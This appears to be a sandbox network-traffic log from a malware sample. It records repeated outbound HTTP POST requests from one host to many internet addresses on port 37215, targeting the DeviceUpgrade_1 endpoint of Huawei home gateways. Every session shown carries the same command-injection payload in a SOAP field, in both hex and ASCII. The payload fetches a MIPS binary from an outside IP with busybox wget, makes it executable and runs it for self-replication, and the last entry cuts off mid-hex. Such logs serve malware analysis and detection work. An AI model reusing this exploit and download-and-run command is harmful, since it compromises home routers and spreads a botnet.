Jul 20, 2024 23:00:59.022701025 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.13	40306	157.42.236.252	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.022701025 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.13	57056	197.109.166.112	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.022751093 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.13	42034	163.150.42.115	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.022893906 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.13	50812	104.140.179.113	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.022895098 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.13	47914	75.142.64.164	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.022895098 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.13	42636	41.135.156.196	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.022895098 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.13	38556	157.11.18.169	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.022941113 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.13	49980	217.47.253.96	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.022999048 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.13	50670	197.56.38.36	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.023192883 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.13	37234	86.82.54.225	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.023269892 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 